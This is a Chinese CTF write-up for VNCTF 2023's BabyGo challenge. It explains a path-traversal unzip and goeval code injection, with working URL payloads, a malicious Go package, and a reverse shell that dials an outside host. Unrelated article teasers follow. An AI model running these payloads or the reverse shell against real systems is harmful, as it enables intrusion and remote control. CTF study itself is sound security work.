2023VNCTF的两道(暂时)
from http://v2ish1yan.top/2023/02/19/%E6%AF%94%E8%B5%9Bwp/2023vnctf/
比赛的时候在回学校的路上,所以没有打,听说质量挺高,赛后做一下
象棋王子
一个普通的js游戏,玩过关了就给flag,所以flag肯定在前端源码里
这里就是弹flag的js,只不过被混淆了,直接复制到控制台执行就行
BabyGo
0x00 前言
这题在机场等同学的时候做了一下,但是那个解压功能一直报错,我还以为是我的问题,结构第二天做一下发现是可以的
- goeval代码注入
- filepath.Clean构造任意解压路径
0x01 源码分析
package mainimport ("encoding/gob""fmt""github.com/PaulXu-cn/goeval""github.com/duke-git/lancet/cryptor""github.com/duke-git/lancet/fileutil""github.com/duke-git/lancet/random""github.com/gin-contrib/sessions""github.com/gin-contrib/sessions/cookie""github.com/gin-gonic/gin""net/http""os""path/filepath""strings"
)type User struct {Name stringPath stringPower string
}func main() {r := gin.Default()store := cookie.NewStore(random.RandBytes(16))r.Use(sessions.Sessions("session", store))r.LoadHTMLGlob("template/*")r.GET("/", func(c *gin.Context) {userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"session := sessions.Default(c)session.Set("shallow", userDir)session.Save()fileutil.CreateDir(userDir)gobFile, _ := os.Create(userDir + "user.gob")user := User{Name: "ctfer", Path: userDir, Power: "low"}encoder := gob.NewEncoder(gobFile)encoder.Encode(user)if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})return}c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})})r.GET("/upload", func(c *gin.Context) {c.HTML(200, "upload.html", gin.H{"message": "upload me!"})})r.POST("/upload", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userUploadDir := session.Get("shallow").(string) + "uploads/"fileutil.CreateDir(userUploadDir)file, err := c.FormFile("file")if err != nil {c.HTML(500, "upload.html", gin.H{"message": "no file upload"})return}ext := file.Filename[strings.LastIndex(file.Filename, "."):]if ext == ".gob" || ext == ".go" {c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})return}filename := userUploadDir + file.Filenameif fileutil.IsExist(filename) {fileutil.RemoveFile(filename)}err = c.SaveUploadedFile(file, filename)if err != nil {c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})return}c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})})r.GET("/unzip", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userUploadDir := session.Get("shallow").(string) + "uploads/"files, _ := fileutil.ListFileNames(userUploadDir)destPath := filepath.Clean(userUploadDir + c.Query("path"))for _, file := range files {if fileutil.MiMeType(userUploadDir+file) == "application/zip" {err := fileutil.UnZip(userUploadDir+file, destPath)if err != nil {c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})return}fileutil.RemoveFile(userUploadDir + file)}}c.HTML(200, "zip.html", gin.H{"message": "success unzip"})})r.GET("/backdoor", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userDir := session.Get("shallow").(string)if fileutil.IsExist(userDir + "user.gob") {file, _ := os.Open(userDir + "user.gob")decoder := gob.NewDecoder(file)var ctfer Userdecoder.Decode(&ctfer)if ctfer.Power == "admin" {eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))if err != nil {fmt.Println(err)}c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})return} else {c.HTML(200, "backdoor.html", gin.H{"message": "low power"})return}} else {c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})return}})r.Run(":80")
}
总体来说不是太难理解
/
路由,生成一个userDir
并保存在Session
里,后面的部分都会从Session取这个的值进行操作
并且还会创建一个user.gob
文件,将User信息保存在里面
/upload
路由,将文件上传到userDir+"uploads/"目录,并且会检测文件后缀
/unzip
路由,会对userDir+"uploads/"目录里的zip文件进行解压,且目的路径可控,接受GET传参的path的值
destPath := filepath.Clean(userUploadDir + c.Query("path"))
然后来看看这个filepath.Clean
是什么东西
Clean通过纯词法处理返回与path相当的最短路径名称。它反复应用以下规则,直到不能再做进一步处理。
用一个元素替换多个Separator元素。
消除每个.路径名元素(当前目录)。
消除每个内部的…路径名称元素(父目录)和它前面的非…元素。
消除了将…放在根路径后面的情况(‘/…’):也就是说,假设Separator是’/',在一个路径的开头用"/“替换”/…"。
返回的路径只有在代表根目录时才以斜线结尾,例如Unix系统中的"/"或Windows系统中的
C:
最后,任何出现的斜线都被Separator替换。
如果这个过程的结果是一个空字符串,Clean返回字符串"."。
from https://pkg.go.dev/path/filepath#Clean
所以我们可以构造路径,将文件解压到任何我们可以解压的地方
/backdoor
路由,会从userDir目录读取user.gob
文件的内容,并检测Power
键的值是否为"admin",如果为True,就执行
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
并返回执行结果
所以可以在本地构造一个user.gob,将Power
的值改为"admin"并将其压缩,然后上传并解压到userDir目标覆盖原来的user.gob,这样就可以成功执行到goeval.Eval()
了
而在goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
里可以发现并没有可以直接执行任意代码的地方,可控的只有第三个参数
goeval.Eval()
的第三参数可以进行包的导入,因为通过报错可以执行题目环境GO的src目录,所以我最开始想的是在fmt包里导入一个函数Println
,这样在执行goeval.Eval()
的时候就可以执行我们自己构造的代码。
但是我想少了,如果直接将pkg传参为fmt的话,因为在Println()被fmt包里的其他文件被定义过,所以我这再定义一个就会报错
然后我就随手搜了一下goeval.Eval,就发现了可以对goeval.Eval进行代码注入,从而远程执行代码
根据这篇文件去看看goeval.Eval的源码
func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {var (tmp = `package main
%s
%s
func main() {
%s
}
`importStr stringfullCode stringnewTmpDir = tempDir + dirSeparator + RandString(8))if 0 < len(imports) {importStr = "import ("for _, item := range imports {if blankInd := strings.Index(item, " "); -1 < blankInd {importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])} else {importStr += fmt.Sprintf("\n\"%s\"", item)}}importStr += "\n)"}fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)var codeBytes = []byte(fullCode)// 格式化输出的代码if formatCode, err := format.Source(codeBytes); nil == err {// 格式化失败,就还是用 content 吧codeBytes = formatCode}// 创建目录if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {return}defer os.RemoveAll(newTmpDir)// 创建文件tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")if err != nil {return re, err}defer os.Remove(tmpFile.Name())// 代码写入文件tmpFile.Write(codeBytes)tmpFile.Close()// 运行代码cmd := exec.Command("go", "run", tmpFile.Name())res, err := cmd.CombinedOutput()return res, err
}
可以看出来,Eval是将代码写入一个临时文件然后运行再返回运行的结果,而且是以拼接的方式来写入代码
所以可以进行代码注入,用\t
替代空格,同时由于他执行的是main内的代码,而且这个是写死的,所以得将要执行的代码写入init()里,这个函数会在main()前执行,然后使用var来闭合最后面的")
init函数特性
1.init函数可以在所有程序执行开始前被调用,并且每个包下可以有多个init函数
2.init函数先于main函数自动执行
3.每个包中可以有多个init函数,每个包中的源文件中也可以有多个init函数
4.init函数没有输入参数、返回值,也未声明,所以无法引用
5.不同包的init函数按照包导入的依赖关系决定执行顺序
6.无论包被导入多少次,init函数只会被调用一次,也就是只执行一次
7.init函数在代码中不能被显示的调用,不能被引用(赋值给函数变量),否则会出现编译错误
8.导入包不要出现循环依赖,这样会导致程序编译失败
9.Go程序仅仅想要用一个package的init执行,我们可以这样使用:import _ “test_xxxx”,导入包的时候加上下划线就ok了
10.包级别的变量初始化、init函数执行,这两个操作都是在同一个goroutine中调用的,按顺序调用,一次一个包
11.init函数不应该依赖任何在main函数里创建的变量,因为init函数的执行是在main函数之前的
12.在init函数中也可以启动goroutine,也就是在初始化的同时启动新的goroutine,这并不会影响初始化顺序
13.复杂逻辑不建议使用init函数,会增加代码的复杂性,可读性也会下降
14.一个源文件下可以有多个init函数,代码比较长时可以考虑分多个init函数
15.编程时不要依赖init的顺序
pkg := "os/exec\"\n\"fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\nvar(\na=\"1"
goeval.Eval("", "fmt.Println(\"Good\")", pkg)
就会执行
package mainimport (
"os/exec"
"fmt"
)func init(){
cmd:=exec.Command("ls")
out,_:=cmd.CombinedOutput()
fmt.Println(string(out))
}
var(
a="1"
)func main() {
fmt.Println("Good")
}
0x02 题解
方法一 代码注入
先在本地创建一个user.gob文件,就跟源码里的方式一样建一个再压缩
然后上传文件,再解压缩文件
解压缩的url为
/unzip?path=../../../../tmp/49c69cef49dc4b3be71e988a20149ca7
然后访问/backdoor
路由,进行代码注入,远程执行命令
payload
/backdoor?pkg=os%2Fexec%22%0A%22fmt%22%0A%29%0A%0Afunc%09init%28%29%7B%0Acmd%3A%3Dexec.Command%28%22cat%22%2C%22%2Fffflllaaaggg%22%29%0Aout%2C_%3A%3Dcmd.CombinedOutput%28%29%0Afmt.Println%28string%28out%29%29%0A%7D%0Avar%28%0Aa%3D%221
方法二 使用别名执行自己的包
这是我在写wp的时候发现的另一个方法
看一下Eval对第三个参数的区别处理
for _, item := range imports {if blankInd := strings.Index(item, " "); -1 < blankInd {importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])} else {importStr += fmt.Sprintf("\n\"%s\"", item)}
}
eg:
goeval.Eval("", "fmt.Println(\"Good\")", "fmt os/exec")
就会变成
package mainimport (fmt "os/exec"
)func main() {
fmt.Println("Good")
}
相当于给导入的包设置一个别名,所以可以将我们自己的包设置别名为fmt,从而执行任意代码
自己建立的包
PrintLn.go
package v2iimport ("fmt""os/exec"
)
func Println(a string){_=acmd:=exec.Command("ls", "/")out,_:=cmd.CombinedOutput()fmt.Println(string(out))
}
将文件压缩,然后上传,解压到/usr/local/go/src/v2i
路径在报错里看到
/unzip?path=../../../../usr/local/go/src/v2i
然后在/backdoor
路由
/backdoor?pkg=fmt v2i
这样就执行了我们的代码,但是有点麻烦,得不断上传解压缩
但也可以试试反弹shell,如果要反弹shell的话,自己建的包就得是【从网上抄的代码XD】
package v2i
import ("io""net""io/ioutil""log""os/exec"
)var (cmd stringline string
)func Println(a string) {_=aaddr := "vpsip:9999" //远程连接主机名conn,err := net.Dial("tcp",addr) //拨号操作,用于连接服务端,需要指定协议。if err != nil {log.Fatal(err)}buf := make([]byte,10240) //定义一个切片的长度是10240。for {n,err := conn.Read(buf) //接受的命令if err != nil && err != io.EOF { //io.EOF在网络编程中表示对端把链接关闭了。log.Fatal(err)}cmd_str := string(buf[:n])cmd := exec.Command("/bin/bash","-c",cmd_str) //命令执行stdout, err := cmd.StdoutPipe()if err != nil {log.Fatal(err)}defer stdout.Close()if err := cmd.Start(); err != nil {log.Fatal(err)}opBytes, err := ioutil.ReadAll(stdout)if err != nil {log.Fatal(err)}conn.Write([]byte(opBytes)) //返回执行结果}
}
然后用相同的方式执行,就可以在vps上获得shell
0x03 参考文章
- goeval代码注入导致远程代码执行(2022虎符Final)
相关文章:

2023VNCTF的两道(暂时)
from http://v2ish1yan.top/2023/02/19/%E6%AF%94%E8%B5%9Bwp/2023vnctf/ 比赛的时候在回学校的路上,所以没有打,听说质量挺高,赛后做一下 象棋王子 一个普通的js游戏,玩过关了就给flag,所以flag肯定在前端源码里 这…...

JDK版本区别
1. 泛型 ArrayList listnew ArrayList()------>ArrayList<Integer>listnew ArrayList<Integer>(); 2 自动装箱/拆箱 nt ilist.get(0).parseInt();-------->int ilist.get(0);原始类型与对应的包装类不用显式转换 3 for-each i0;i<a.length;i------------&…...

Android 基础知识4-2.8 TableLayout(表格布局)详解
一、TableLayout的概述 表格布局是以行数和列数来确定位置进行排列。就像一间教室,确定好行数与列数就能让同学有序入座。 注意:我们需要先添加<TableRow容器,每添加一个就会多一行,然后再往<TableRow容器中添加其它组件。…...

SQL代码编码原则和规范
目录1、先了解MySQL的执行过程2、数据库常见规范3、所有表必须使用Innodb存储引擎4、每个Innodb表必须有个主键5、数据库和表的字符集统一使用UTF86、查询SQL尽量不要使用select *,而是具体字段7、避免在where子句中使用 or 来连接条件8、尽量使用数值替代字符串类型…...
【博客627】gobgp服务无损变更:graceful restart特性
gobgp服务无损变更:graceful restart特性 场景 当我们的bgp网关在对外宣告bgp路由的时候,如果我们网关有新的特性要发布,那么此时如果把网关停止再启动新版本,此时bgp路由会有短暂撤回再播出的过程,会有网络抖动 期待…...

一起学 pixijs(1):常见图形的绘制
大家好,我是前端西瓜哥。 pixijs 是一个强大的 Web Canvas 2D 库,以其强大性能而著称。其底层使用了 WebGL 实现了硬件加速,当然如果不支持的话,也能回退为 Canvas。 本文使用的 pixijs 版本为 7.1.2。 Application Applicati…...

2023年PMP考试教材有哪些?(含pmp资料)
PMP考试教材是《PMBOK指南》,但这次的考试因为大纲的更新,而需要另外的敏捷书籍来备考。且官方发了通知,3、5月还是第六版指南,8月及8月之后,使用第七版教材。 新版考纲将专注于以下三个新领域: 人 – 强调与有效领导项…...

centos7防火墙工具firewall-cmd使用
centos7防火墙工具firewall-cmd使用防火墙概述centos7防火墙工具firewall-cmd使用介绍firewalld的基本使用服务管理工具相关指令配置firewalld-cmd防火墙概述 防火墙是可以帮助计算机在内部网络和外部网络之间构建一道相对隔绝的保护屏障,从而保护数据信息的一种技…...
js html过滤所有标签格式并清除所有nbsp;
var odiv document.getElementsByTagName("*"); for(var i 0; i<odiv.length; i){ if(odiv[i].className newDetail){ let obj odiv[i].childNodes[3]; let oldHtml odiv[i].childNodes[3].innerText;//获取html中不带标签内容 //console.log(odiv[i].childN…...

「技术选型」深度学习软件如何选择?
深度学习(DL, Deep Learning)是机器学习(ML, Machine Learning)领域中一个新的研究方向,它被引入机器学习使其更接近于最初的目标——人工智能(AI, Artificial Intelligence)。 深度学习是学习样本数据的内在规律和表示层次,这些学习过程中获得的信息对…...

加油站会员管理小程序实战开发教程13
我们上一篇讲解了会员注册的功能,本篇我们介绍一下会员开卡的功能。 会员注册之后,可以进行开卡的动作。一个会员可以有多张会员卡,在微搭中用来描述这种一对多的关系的,我们用关联关系来表达。 登录微搭的控制台,点击数据模型,点击新建数据模型 输入数据源的名称会员卡…...

Go语言Web入门之浅谈Gin框架
Gin框架Gin简介第一个Gin示例HelloworldRESTful APIGin返回数据的几种格式Gin 获取参数HTTP重定向Gin路由&路由组Gin框架当中的中间件Gin简介 Gin 是一个用 Go (Golang) 编写的 web 框架。它是一个类似于 martini 但拥有更好性能的 API 框架,由于 httprouter&a…...

《MySQL学习》 MySQL优化器选择如何选择索引
一.优化器的选择逻辑 建表语句 CREATE TABLE t (id int(11) NOT NULL AUTO_INCREMENT,a int(11) DEFAULT NULL,b int(11) DEFAULT NULL,PRIMARY KEY (id),KEY a (a),KEY b (b) ) ENGINEInnoDB;往表中插入10W条数据 delimiter ;; create procedure idata() begindeclare i in…...

uniapp 悬浮窗(应用内、无需授权) Ba-FloatWindow2
简介(下载地址) Ba-FloatWindow2 是一款应用内并且无需授权的悬浮窗插件。支持多种拖动;自定义位置、大小;支持动态修改。 支持自动定义起始位置支持自定义悬浮窗大小支持贴边显示支持多种拖动方效果:不可拖动、任意…...

MMKV与mmap:全方位解析
概述 MMKV 是基于 mmap 内存映射的移动端通用 key-value 组件,底层序列化/反序列化使用 protobuf 实现,性能高,稳定性强。从 2015 年中至今,在 iOS 微信上使用已有近 3 年,其性能和稳定性经过了时间的验证。近期已移植…...
【信息系统项目管理师】项目管理十大知识领域记忆敲出(整体范围进度)
【信息系统项目管理师】项目管理十大知识领域记忆敲出(整体范围进度) 【信息系统项目管理师】项目管理十大知识领域记忆敲出(整体范围进度)【信息系统项目管理师】项目管理十大知识领域记忆敲出(整体范围进度ÿ…...

一起学 pixijs(3):Sprite
大家好,我是前端西瓜哥。今天来学习 pixijs 的 Sprite。 Sprite pixijs 的 Sprite 类用于将一些纹理(Texture)渲染到屏幕上。 Sprite 直译为 “精灵”,是游戏开发中常见的术语,就是将一个角色的多个动作放到一个图片…...
深入讲解Kubernetes架构-垃圾收集
垃圾收集(Garbage Collection)是 Kubernetes 用于清理集群资源的各种机制的统称。 垃圾收集允许系统清理如下资源:终止的 Pod已完成的 Job不再存在属主引用的对象未使用的容器和容器镜像动态制备的、StorageClass 回收策略为 Delete 的 PV 卷…...

Flink03: 集群安装部署
Flink支持多种安装部署方式 StandaloneON YARNMesos、Kubernetes、AWS… 这些安装方式我们主要讲一下standalone和on yarn。 如果是一个独立环境的话,可能会用到standalone集群模式。 在生产环境下一般还是用on yarn 这种模式比较多,因为这样可以综合利…...

OCR项目实战(一):手写汉语拼音识别(Pytorch版)
✨写在前面:强烈推荐给大家一个优秀的人工智能学习网站,内容包括人工智能基础、机器学习、深度学习神经网络等,详细介绍各部分概念及实战教程,非常适合人工智能领域初学者及研究者学习。➡️点击跳转到网站。 📝OCR专栏…...

Appium+python自动化(十六)- ADB命令
简介 Android 调试桥(adb)是多种用途的工具,该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具,其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利,如安装和调试…...
SciencePlots——绘制论文中的图片
文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了:一行…...

STM32标准库-DMA直接存储器存取
文章目录 一、DMA1.1简介1.2存储器映像1.3DMA框图1.4DMA基本结构1.5DMA请求1.6数据宽度与对齐1.7数据转运DMA1.8ADC扫描模式DMA 二、数据转运DMA2.1接线图2.2代码2.3相关API 一、DMA 1.1简介 DMA(Direct Memory Access)直接存储器存取 DMA可以提供外设…...

【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)
可以使用Sqliteviz这个网站免费编写sql语句,它能够让用户直接在浏览器内练习SQL的语法,不需要安装任何软件。 链接如下: sqliteviz 注意: 在转写SQL语法时,关键字之间有一个特定的顺序,这个顺序会影响到…...
Nginx server_name 配置说明
Nginx 是一个高性能的反向代理和负载均衡服务器,其核心配置之一是 server 块中的 server_name 指令。server_name 决定了 Nginx 如何根据客户端请求的 Host 头匹配对应的虚拟主机(Virtual Host)。 1. 简介 Nginx 使用 server_name 指令来确定…...

EtherNet/IP转DeviceNet协议网关详解
一,设备主要功能 疆鸿智能JH-DVN-EIP本产品是自主研发的一款EtherNet/IP从站功能的通讯网关。该产品主要功能是连接DeviceNet总线和EtherNet/IP网络,本网关连接到EtherNet/IP总线中做为从站使用,连接到DeviceNet总线中做为从站使用。 在自动…...

基于Java+MySQL实现(GUI)客户管理系统
客户资料管理系统的设计与实现 第一章 需求分析 1.1 需求总体介绍 本项目为了方便维护客户信息为了方便维护客户信息,对客户进行统一管理,可以把所有客户信息录入系统,进行维护和统计功能。可通过文件的方式保存相关录入数据,对…...

推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材)
推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材) 这个项目能干嘛? 使用 gemini 2.0 的 api 和 google 其他的 api 来做衍生处理 简化和优化了文生图和图生图的行为(我的最主要) 并且有一些目标检测和切割(我用不到) 视频和 imagefx 因为没 a…...

招商蛇口 | 执笔CID,启幕低密生活新境
作为中国城市生长的力量,招商蛇口以“美好生活承载者”为使命,深耕全球111座城市,以央企担当匠造时代理想人居。从深圳湾的开拓基因到西安高新CID的战略落子,招商蛇口始终与城市发展同频共振,以建筑诠释对土地与生活的…...

wpf在image控件上快速显示内存图像
wpf在image控件上快速显示内存图像https://www.cnblogs.com/haodafeng/p/10431387.html 如果你在寻找能够快速在image控件刷新大图像(比如分辨率3000*3000的图像)的办法,尤其是想把内存中的裸数据(只有图像的数据,不包…...